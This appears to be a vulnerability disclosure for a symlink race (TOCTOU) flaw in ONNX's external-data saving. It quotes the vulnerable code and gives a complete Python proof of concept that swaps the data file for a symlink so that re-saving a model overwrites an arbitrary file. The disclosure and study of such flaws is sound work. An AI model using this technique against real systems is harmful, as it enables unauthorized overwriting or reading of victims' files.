ONNX: TOCTOU arbitrary file read/write in save_external_dat

   # CHECK - Is this a file?
   if not os.path.isfile(external_data_file_path):
       # Line 228-229: USE #1 - Create if it doesn't exist
       with open(external_data_file_path, "ab"):
           pass
   
   # Open for writing
   with open(external_data_file_path, "r+b") as data_file:
       # Lines 233-243: Write tensor data
       data_file.seek(0, 2)
       if info.offset is not None:
           file_size = data_file.tell()
           if info.offset > file_size:
               data_file.write(b"\0" * (info.offset - file_size))
           data_file.seek(info.offset)
       offset = data_file.tell()
       data_file.write(tensor.raw_data)

if location_path.is_absolute() and len(location_path.parts) > 1

import os
import sys
import tempfile
import numpy as np
import onnx
from onnx import TensorProto, helper
from onnx.numpy_helper import from_array

# Create a temporary directory for our poc
with tempfile.TemporaryDirectory() as tmpdir:
    print(f"[*] Working directory: {tmpdir}")

    # Create a "sensitive" file that we'll overwrite
    sensitive_file = os.path.join(tmpdir, "sensitive.txt")
    with open(sensitive_file, 'w') as f:
        f.write("SENSITIVE DATA - DO NOT OVERWRITE")

    original_content = open(sensitive_file, 'rb').read()
    print(f"[*] Created sensitive file: {sensitive_file}")
    print(f"    Original content: {original_content}")

    # Create a simple ONNX model with a large tensor
    print("[*] Creating ONNX model with external data...")

    # Create a tensor with data > 1KB (to trigger external data)
    large_array = np.ones((100, 100), dtype=np.float32)  # 40KB tensor
    large_tensor = from_array(large_array, name='large_weight')

    # Create a minimal model
    model = helper.make_model(
        helper.make_graph(
            [helper.make_node('Identity', ['input'], ['output'])],
            'minimal_model',
            [helper.make_tensor_value_info('input', TensorProto.FLOAT, [100, 100])],
            [helper.make_tensor_value_info('output', TensorProto.FLOAT, [100, 100])],
            [large_tensor]
        )
    )

    # Save model with external data to create the external data file
    model_path = os.path.join(tmpdir, "model.onnx")
    external_data_name = "data.bin"
    external_data_path = os.path.join(tmpdir, external_data_name)

    onnx.save_model(
        model, 
        model_path,
        save_as_external_data=True,
        all_tensors_to_one_file=True,
        location=external_data_name,
        size_threshold=1024
    )

    print(f"[+] Model saved: {model_path}")
    print(f"[+] External data created: {external_data_path}")

    # Now comes the attack: replace the external data file with a symlink
    print("[!] ATTACK: Replacing external data file with symlink...")

    # Remove the legitimate external data file
    if os.path.exists(external_data_path):
        os.remove(external_data_path)
        print(f"    Removed: {external_data_path}")

    # Create symlink pointing to sensitive file
    os.symlink(sensitive_file, external_data_path)
    print(f"    Created symlink: {external_data_path} -> {sensitive_file}")

    # Now load and re-save the model, which will trigger the vulnerability
    print("Loading model and saving with external data...")
    try:
        # Load the model (without loading external data)
        loaded_model = onnx.load(model_path, load_external_data=False)

        # Modify the model slightly (to ensure we write new data)
        loaded_model.graph.initializer[0].raw_data = large_array.tobytes()

        # Save again - this will call save_external_data() and follow the symlink
        onnx.save_model(
            loaded_model,
            model_path,
            save_as_external_data=True,
            all_tensors_to_one_file=True,
            location=external_data_name,
            size_threshold=1024
        )
    except Exception as e:
        print(f"[-] Error: {e}")
    
    # Check if the sensitive file was overwritten
    print("[*] Checking if sensitive file was modified...")
    modified_content = open(sensitive_file, 'rb').read()
    
    print(f"    Original size: {len(original_content)} bytes")
    print(f"    Current size:  {len(modified_content)} bytes")
    print(f"    Original content: {original_content[:50]}")
    print(f"    Current content:  {modified_content[:50]}...")
    print()
    
    if modified_content != original_content:
        print("[!] Success!")
    else:
        print("[-] Failure")